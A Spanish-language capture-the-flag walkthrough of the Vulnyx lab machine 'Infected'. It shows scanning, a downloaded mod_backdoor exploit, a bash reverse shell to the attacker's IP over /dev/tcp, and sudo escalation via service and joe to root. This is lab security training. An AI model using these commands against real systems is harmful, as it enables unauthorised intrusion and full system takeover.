Máquina Infected (Vulnyx)


Comenzamos con averiguar la dirección IP de la Máquina Victima, para ello primeramente utilizaremos la herramienta netdiscover, para ello ejecutamos el siguiente comando:

$ netdiscover -i eth1 -r 10.0.2.0/24


  • Kali (Máquina Atacante): 10.0.2.4
  • Máquina Victima: 10.0.2.9
Comprobamos si tenemos conexión con la Máquina Victima, para ello ejecutamos el siguiente comando:

$ ping -c 1 10.0.2.9


Como se puede comprobar por el TTL nos enfrentamos a una Máquina Linux.

A continuación, realizamos con la herramienta nmap un reconocimiento de los servicios, para ello ejecutamos el siguiente comando:

$ nmap -Pn -p- 10.0.2.9 -sVC


Como podemos comprobar la Máquina Victima tiene abiertos los puertos 22 y 80.

Comprobamos que es lo que corre en el puerto 80.


A continuación, realizamos con la herramienta gobuster un fuzzing web por extensiones de archivos .php, para ello ejecutamos el siguiente comando:

$ gobuster dir -u http://10.0.2.9:80 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php


Encontramos el archivo info.php.

Accedemos a este archivo.


Si bajamos la pagina vemos en el apartado llamado Loaded Modules algo que nos llama la atención que dice mod_backdoor.


Hacemos una busqueda por google y nos encontramos este repositorio de github el cual contiene el exploit para explotarlo.


Nos lo descargamos, y lo ejecutamos con el siguiente comando:

$ python exploit.py 10.0.2.9 80


¡¡¡Podemos ejecutar comandos!!!

A continuación, en otra pestaña de la terminal de nuestra Máquina Atacante y con la ayuda de la herramienta netcat(nc) nos ponemos a la escucha por el puerto 443 por donde vamos a recibir la conexión, para ello ejecutamos el siguiente comando:

$ nc -lvnp 443


Y en la Máquina Victima ejecutamos la siguiente reverse shell:

$ bash -c 'bash -i >& /dev/tcp/10.0.2.4/443 0>&1'


Y obtenemos una shell como www-data.

Enumeramos los permisos sudo, para ello ejecutamos el siguiente comando:

$ sudo -l


Nos encontramos con el binario service que lo podemos ejecutar como el usuario laurent. por lo tanto nos vamos a la pagina gtfobins a mirar el payload.


Lo ejecutamos de la siguiente manera:

$ sudo -u laurent /usr/sbin/service ../../bin/sh


¡¡¡Somos laurent!!!

A continuación, hacemos un tratamiento de la TTY para obtener una shell interactiva y así evitar problemas, para ello ejecutaremos los siguiente comandos:

$ script /dev/null -c bash
   Ctrl + Z
$ stty raw -echo;fg
$ reset xterm
$ export TERM=xterm

De nuevo como el usuario laurent enumeramos los permisos sudo, para ello ejecutamos de nuevo el siguiente comando:

$ sudo -l


Nos encontramos con el binario joe que lo podemos ejecutar como el usuario root. por lo tanto nos vamos de nuevo a la pagina gtfobins a mirar el payload.


Lo ejecutamos:

$ sudo /usr/bin/joe

Pulsamos Ctrl + K y escapamos con !.

Y escribimos lo siguiente:

/bin/sh


¡¡¡Ya somos root!!!